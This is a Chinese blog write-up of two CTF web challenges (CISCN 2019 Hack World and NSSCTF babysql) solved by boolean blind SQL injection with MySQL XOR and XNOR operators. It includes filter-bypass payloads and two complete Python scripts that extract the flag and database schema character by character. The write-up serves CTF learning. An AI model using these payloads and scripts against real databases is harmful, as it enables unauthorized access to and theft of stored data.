sql异同或注入总结
3 分钟
前言
最近做题的时候,遇到了两道异或以及同或的题目,一起做个总结。
一、异或和同或
异或就是相同为0,不同为1,当一个数进行了两次相同的异或,等于本身,在mysql中符号为^
同或就是相同为1,不同为0,在mysql中符号为!=!
二、[CISCN 2019华北Day2]Web1 Hack World
进入题目:题目直接给了提示,给出了flag的位置,随便输东西,发现只能输bool型的,输0会出现Error,输1会出现Hello, glzjin wants
a girlfriend,输2出现Do you want to be my girlfriend。
尝试下,发现过滤了挺多东西的,过滤了#、--、空格、//、or、and等。过滤了空格和//可以通过()包括绕过,过滤了注释符,意味着报错,联合注入都不好使,显然是布尔注入,发现可以进行异或或者同或注入。
同或一样可以。id=1!=!0会回显Error、id=1!=!1会回显Hello, glzjin wants a girlfriend。
直接上脚本:
import time
import requests
url = 'http://1.14.71.254:28942/index.php'
flag = ''
for i in range(1, 100):
min = 1
max = 130
mid = int((min + max) / 2)
while min < max:
data = {
#"id": f'0^if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0)' 异或
"id": f"1!=!(if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0))" #同或
}
resp = requests.post(url, data=data)
time.sleep(0.5)
if 'Hello' in resp.text:
min = mid + 1
mid = int((min + max) / 2)
else:
max = mid
mid = int((min + max) / 2)
flag += chr(mid)
print(flag)
三、 [NSSCTF 2022 Spring Recruit]babysql
进入题目:提示输入tarnish,输入以后出现String(39)前有flag句,同样尝试tarnish'出现回显走进死胡同,输入#、--出现了过滤的字符。
过滤了/、if、and、空格、#、--字符,又是过滤了注释符,过滤了空格可以使用绕过,这里只能往闭合注入想,首先想到能不能进行异或注入,尝试了一下,怎么都是死胡同,往同或方向靠,结果是可以。
tarnish'!=!1!=!'0 即 True!=!True!=!False==False
tarnish'!=!0!=!'0 即 Ture!=!False!=!False==True
直接脚本:
import requests
asc_str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!{}'
url = "http://1.14.71.254:28589"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0",
}
result = ''
for times in range(1, 88):
min = 0
max = 128
mid = (min + max) // 2
while min < max:
# payload = f"tarnish'/**/!=!/**/(ascii(substr((select/**/database()),{times},1))>{mid})/**/!=!/**/'0" #test
# payload = f"tarnish'/**/!=!/**/(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{times},1))>{mid})/**/!=!/**/'0" #flag,users
# payload = f"tarnish'/**/!=!/**/(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{times},1))>{mid})/**/!=!/**/'0" #flag
payload = f"tarnish'/**/!=!/**/(ascii(substr((select/**/group_concat(flag)/**/from/**/test.flag),{times},1))>{mid})/**/!=!/**/'0"
data = {"username": payload}
resp = requests.post(url, headers=headers, data=data)
if 'string(25)' in resp.text:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
result += chr(min)
print(result)
这里有个坑,flag前面有些字符没法显现,搞的我以为脚本错了...
总结
异或和同或注入都归于布尔注入的类型,通过两道题大致可以看出,当过滤了注释符难以使用其它注入时,可以考虑往这方面想。
~ ~ The End ~ ~
分类标签:Web安全,CTF
文章标题:sql异同或注入总结
文章链接:https://aiwin.fun/index.php/archives/1095/
最后编辑:2024 年 1 月 5 日 21:03 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
文章标题:sql异同或注入总结
文章链接:https://aiwin.fun/index.php/archives/1095/
最后编辑:2024 年 1 月 5 日 21:03 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)